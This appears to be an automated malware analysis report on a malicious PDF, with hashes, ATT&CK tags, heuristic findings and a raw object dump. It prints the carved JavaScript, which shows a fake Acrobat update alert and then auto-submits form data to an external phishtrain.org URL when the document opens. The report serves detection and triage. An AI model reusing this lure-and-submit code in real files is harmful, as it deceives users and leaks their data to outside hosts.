Malicious PDF — malware analysis report

Static analysis result for SHA-256 21c6612500c0011d…

MALICIOUS

PDF

107.4 KB Created: 2018-06-12 09:41:10 -04:00 First seen: 2021-11-24
MD5: 1d3cdc16058d8b3e2b5c86ac73c3cffd SHA-1: 5534b590ebc9e4cd0c1bbe7ad450742153a67175 SHA-256: 21c6612500c0011dd12ab2edf59b3b38d2082bd24c74600e7586bbba583387d0
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1074.001 Data Staged: Local Data

The PDF document contains JavaScript that triggers an alert mimicking an Adobe Acrobat update and then immediately attempts to submit form data to a suspicious URL. This behavior, combined with the 'credential_exfil' and 'submitForm' API calls observed in the JavaScript, strongly suggests a phishing attempt to harvest user credentials. The presence of a fake update lure is a common tactic in such attacks.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9477

Heuristics 8

  • PDF auto-runs JavaScript form submission on open critical PDF_OPENACTION_JS_SUBMITFORM
    PDF uses /OpenAction to run JavaScript that calls submitForm() with an external HTTP(S) URL. Opening the document triggers the outbound submission path without requiring a normal link click.
  • PDF JavaScript shows fake Acrobat updater prompt high PDF_FAKE_ACROBAT_UPDATE_LURE
    PDF JavaScript displays Acrobat/update-themed language such as a document rendering engine update or remote connection to Adobe servers. When paired with JavaScript or external submission, this is a social-engineering lure rather than benign document text.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
    Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
  • External URI info PDF_URI
    PDF contains an external URL action
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://test.user-click.phishtrain.org/XVFdaRmMxbHlkVzE1ZGtSVFMxSTNRbUY1VVRkb1NsaE9WRXBDVVV4Q2QxbGtNSEJJTkhWcGN6QktSMFk1Ukhkc1ZIRktZMlZLYlcxSmVsRm1WME5HYW1wdlNGVjFiR2RLUldWdFF6VkJkRUZyZVhWR01VeERWR1p1T0RscFVIVlhURTFXV0dkb1dGQXlNa2s5TFMxSFkwVm1UVGw2UWk5UE5qQnJlQzgxT1RCRmQyZFJQVDA9LS01YWYxYjM2ZDYxYmZmMGViMDZjODAxYzVjYmFkNTM0ODAxNmUwNmUx?cid=985612832#FDF Referenced by PDF JavaScript
    • https://test.user-click.phishtrain.org/XY0dReWFFSk1ObFUwVDNCcWNTczJiekpCU1ZCcVptWTVTbmRTWVV0MGNWQnZLM0YzWmxOUFNVaEdhRXRpZURrNFpsaGllR1ZCTlZOd1ZqSmFPR1YxZVZCVFZFWXdkREJhUkdaWVdXbzFVa1ZEVWs5MFdqSlhRa1V2SzBOVVRXNVdOakpaVVdoRmJHTnZUVFpYYlRsMWRHNWhjRTFZTVVreFdGWXlSV3h3UTNreVVsUjJTekptVldWTFEyUXhjamg1WmtGYVZVbzNRbXc0V25SdlpGTnRjRFoxVlRReE5UTkRUV0ZWUFMwdGRYQldZM0JtY0RNM2JqTnNUR2h1YlZGVWFUaFBaejA5LS03MGU3MmQ1OTk5ZjdjZTk0NmQzNTExMjc2NWQwN2QzNmMwMjc3OWQ0?cid=985612832Referenced by PDF JavaScript
    • https://test.user-click.phishtrain.org/XZWxkNlNXWXpTbEZNWVhNNWMxcExlbVUyUTNNd09YSjVOV2MyYVZSS01XOTRaSEpaTW1sbFEwaE9SR05QZURKUlJYWTJZVTA1TVdSV2IwaFFiekpYYjNOaFN6UnVPSFZaS3k5dE1GaElOWFZQWlRGVFprbFdTRmxXYjFsVVRWTkdTSFJWZWtwNFJWVnhlV05NVWtwWFZGaGtRMGhJVW5STWRGcE1VV0pXT0VsTmFWUTNjREpJYjJ4dVFqSTRjV2t4TVd4S1ZXdGtkbWRNUzNOSFUxUnpRamhZTWtSeFkzb3hTazFqUFMwdFNWYzVlVzh4Y0hwaVluVndkVU15WVN0dWNqUk1kejA5LS1mMDJmYzQzYzkyMjhmNzVhMjU3Mjk4ODA2NmVjYjU2NDUwZjg3M2Ri?cid=985612832Referenced by PDF JavaScript
    • https://test.user-click.phishtrain.org/XTWpKbk1FdFFjME5VY3pKRlZHMXVlSGxRUWpkNGRUWkhiV2RxUTBGTEwxYzRPVll4TjNoc1ZWZEhNRkZqWjJKaFdrZFdabWQ1Tm13MmRrMWFhRkV3TnpSNWNFbFphM0ZaVjBwcU5WUlNZMnhKZEdaUlExUTNVR2RRVW5scU9UWm9WRnBXUW1rclIxVlBVRVZvY1UwdlNFbFlVa1F5U25aRGJrTjNhWGR5U2xZemRrNU1iblJMUTJ0TGVESnFNRlJITm5kSWVFTlhZVkF6YURCR1RrNXlhRTEzUTFRemQwUlZjM2c0UFMwdFNqVjBOa0pRZEdWNE0xQmtTME52Um5nNE1WTXpVVDA5LS1jMDM1YTE5Nzk3ODM1ODkwYjVkOWIyOWVhZDFlOTllYTYzYzI0YWY2?cid=985612832Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by PDF JavaScript
    • http://ns.adobe.com/xap/1.0/Referenced by PDF JavaScript
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/tiff/1.0/Referenced by PDF JavaScript
    • http://ns.adobe.com/exif/1.0/Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x180A 608 bytes
SHA-256: a7b1d7118af1ee1864451caef9fb78ad8300d410d2b3d410255730d03d62ce97
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function docOpened()
{
app.alert({cMsg: 'We need to update your document rendering engine. Click OK to continue, when prompted allow remote connection to Adobe servers.', cTitle: 'Adobe Acrobat Updater',nIcon: 3});
app.doc.submitForm('https://test.user-click.phishtrain.org/XVFdaRmMxbHlkVzE1ZGtSVFMxSTNRbUY1VVRkb1NsaE9WRXBDVVV4Q2QxbGtNSEJJTkhWcGN6QktSMFk1Ukhkc1ZIRktZMlZLYlcxSmVsRm1WME5HYW1wdlNGVjFiR2RLUldWdFF6VkJkRUZyZVhWR01VeERWR1p1T0RscFVIVlhURTFXV0dkb1dGQXlNa2s5TFMxSFkwVm1UVGw2UWk5UE5qQnJlQzgxT1RCRmQyZFJQVDA9LS01YWYxYjM2ZDYxYmZmMGViMDZjODAxYzVjYmFkNTM0ODAxNmUwNmUx?cid=985612832#FDF');
}

docOpened();
javascript_obj0012_001.js pdf-javascript-stream PDF /JS object 12 at offset 0x1831 103754 bytes
SHA-256: e0b0cb3aa4327bf8fa7792b5d528a5e0f1fc4efaea621debdb932d32df499333
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function docOpened()
{
app.alert({cMsg: 'We need to update your document rendering engine. Click OK to continue, when prompted allow remote connection to Adobe servers.', cTitle: 'Adobe Acrobat Updater',nIcon: 3});
app.doc.submitForm('https://test.user-click.phishtrain.org/XVFdaRmMxbHlkVzE1ZGtSVFMxSTNRbUY1VVRkb1NsaE9WRXBDVVV4Q2QxbGtNSEJJTkhWcGN6QktSMFk1Ukhkc1ZIRktZMlZLYlcxSmVsRm1WME5HYW1wdlNGVjFiR2RLUldWdFF6VkJkRUZyZVhWR01VeERWR1p1T0RscFVIVlhURTFXV0dkb1dGQXlNa2s5TFMxSFkwVm1UVGw2UWk5UE5qQnJlQzgxT1RCRmQyZFJQVDA9LS01YWYxYjM2ZDYxYmZmMGViMDZjODAxYzVjYmFkNTM0ODAxNmUwNmUx?cid=985612832#FDF');
}

docOpened();
endstream
endobj

%QDF: ignore_newline
13 0 obj
483
endobj

%% Page 1
%% Original object ID: 16 0
14 0 obj
<<
  /Annots 15 0 R
  /Contents 16 0 R
  /CropBox [
    0
    0
    612
    792
  ]
  /MediaBox [
    0
    0
    612
    792
  ]
  /Parent 8 0 R
  /Resources <<
    /Font <<
      /C0_0 18 0 R
      /C0_1 19 0 R
      /C0_2 20 0 R
    >>
    /ProcSet [
      /PDF
      /Text
      /ImageC
    ]
    /XObject <<
      /Im0 21 0 R
      /Im1 23 0 R
      /Im2 25 0 R
    >>
  >>
  /Rotate 0
  /Type /Page
>>
endobj

%% Original object ID: 32 0
15 0 obj
[
  27 0 R
  28 0 R
  29 0 R
]
endobj

%% Contents for page 1
%% Original object ID: 18 0
16 0 obj
<<
  /Length 17 0 R
>>
stream
q
404.8937073 0 0 269.9337463 107.3061676 460.5401001 cm
/Im0 Do
Q
BT
/C0_0 12 Tf
1 0 0.2679 1 116.07 441.387 Tm
<00350049004a005400010045005000440056004e0046004f00550001004a005400010046004f00440053005a0051005500460045000100560054004a004f0048000100220045005000430046000100340046004400560053004600010024004d005000560045>Tj
/C0_1 12 Tf
<00e4>Tj
/C0_0 12 Tf
<000f0001>Tj
4.179 -15.6 Td
<0024004d004a0044004c000100430046004d005000580001005500500001005400460044005600530046004d005a00010057004a00460058000100440050004f00550046004f00550054000f0001>Tj
ET
/TouchUp_TextEdit MP
BT
0 i 
/C0_2 10 Tf
158.323 52.725 Td
<0031004d00460042005400460001004f005000550046001b000100340050004e00460001005800460043004e0042004a004d00010044004d004a0046004f0055005400010042005300460001004f00500055000100440050004e005100420055004a0043004d004600010058004a005500490001002200450050004300460001>Tj
0 -12 TD
<00340046004400560053004600010024004d00500056004500e4000f0001002a004700010055004900420055000100490042005100510046004f0054000d0001004500500058004f004d005000420045000100550049004600010047004a004d004600010042004f00450001005000510046004f00010050004f0001>Tj
T*
<002500460054004c005500500051000f>Tj
ET
q
56.1389923 0 0 43.9851837 94.3450775 23.5263672 cm
/Im1 Do
Q
q
157.0927124 0 0 36.2528992 230.401001 342.7270813 cm
/Im2 Do
Q
endstream
endobj

17 0 obj
1300
endobj

%% Original object ID: 40 0
18 0 obj
<<
  /BaseFont /KUFUSM+HiraKakuProN-W6
  /DescendantFonts 30 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 31 0 R
  /Type /Font
>>
endobj

%% Original object ID: 42 0
19 0 obj
<<
  /BaseFont /VGWIQQ+HiraKakuProN-W6
  /DescendantFonts 33 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 34 0 R
  /Type /Font
>>
endobj

%% Original object ID: 44 0
20 0 obj
<<
  /BaseFont /JSIEEO+HiraKakuProN-W6
  /DescendantFonts 36 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 37 0 R
  /Type /Font
>>
endobj

%% Original object ID: 25 0
21 0 obj
<<
  /BitsPerComponent 8
  /ColorSpace /DeviceRGB
  /Filter /DCTDecode
  /Height 400
  /Metadata 39 0 R
  /Name /X
  /Subtype /Image
  /Type /XObject
  /Width 600
  /Length 22 0 R
>>
stream
����  JFIF          ��  JFIF          �� C                        	 	                            &""&0-0>>T�� C                        	 	                            &""&0-0>>T��    � X  "       ��                            	
 �� �                }        !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                            	
 �� �                w       !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������          ? ��sKL� ^�����h� R� ( Դ�
... (truncated)
font_00_cff_off0001966f.bin pdf-font-stream PDF embedded font (cff) at offset 0x1966F 4575 bytes
SHA-256: 9340d372ad75a105fdb1627a30e96f892e0dc7d9588c0150cf06b4fa72281cc0

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